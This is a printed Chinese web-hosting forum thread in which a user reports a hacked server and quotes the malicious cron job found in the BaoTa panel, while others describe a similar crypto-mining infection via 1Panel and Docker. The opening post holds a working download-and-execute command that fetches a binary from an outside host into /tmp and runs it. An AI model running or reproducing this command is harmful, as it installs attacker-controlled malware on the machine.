全球主机交流论坛

标题: 服务器被黑了 [打印本页]

作者: 倾一片温柔    时间: 2025-6-17 19:18
标题: 服务器被黑了
宝塔面板多了个定时任务
  1. curl -o /tmp/ms http://aliyuncdn.info/aliyuns &&chmod +x /tmp/ms&&setsid /tmp/ms
复制代码

作者: longpo    时间: 2025-6-17 21:20
我服务器装的1panel面板 突然多了个挖矿脚本,就离谱 docker容器还那么不安全
作者: Romeoiii    时间: 2025-6-17 21:36
看见“宝塔面板”,我就放心了

有黑客专门盯着它不放,何必呢,手搓不行吗
作者: Wine    时间: 2025-6-17 21:37
什么版本呀
作者: batsom    时间: 2025-6-17 21:46
gentoo.site 求黑
作者: HOH    时间: 2025-6-17 22:19
都用面板了还追求什么安全  莫名其妙
作者: 美女约吗    时间: 2025-6-17 23:01
longpo 发表于 2025-6-17 21:20
我服务器装的1panel面板 突然多了个挖矿脚本,就离谱 docker容器还那么不安全 ...

怎么看面板里是否多了脚本?
作者: longpo    时间: 2025-6-18 14:54
美女约吗 发表于 2025-6-17 23:01
怎么看面板里是否多了脚本?

我这是直接cpu占用拉满
作者: 羊村你喜哥    时间: 2025-6-18 15:20
那个版本的
作者: 美女约吗    时间: 2025-6-18 15:23
longpo 发表于 2025-6-18 14:54
我这是直接cpu占用拉满

原来如此
作者: longpo    时间: 2025-6-18 16:48
美女约吗 发表于 2025-6-18 15:23
原来如此

好像是从docker容器有漏洞的,我把奇奇怪怪的镜像删了之后就没了,1panel应该是没事的




欢迎光临 全球主机交流论坛 (https://loc.wget.at/) Powered by Discuz! X3.4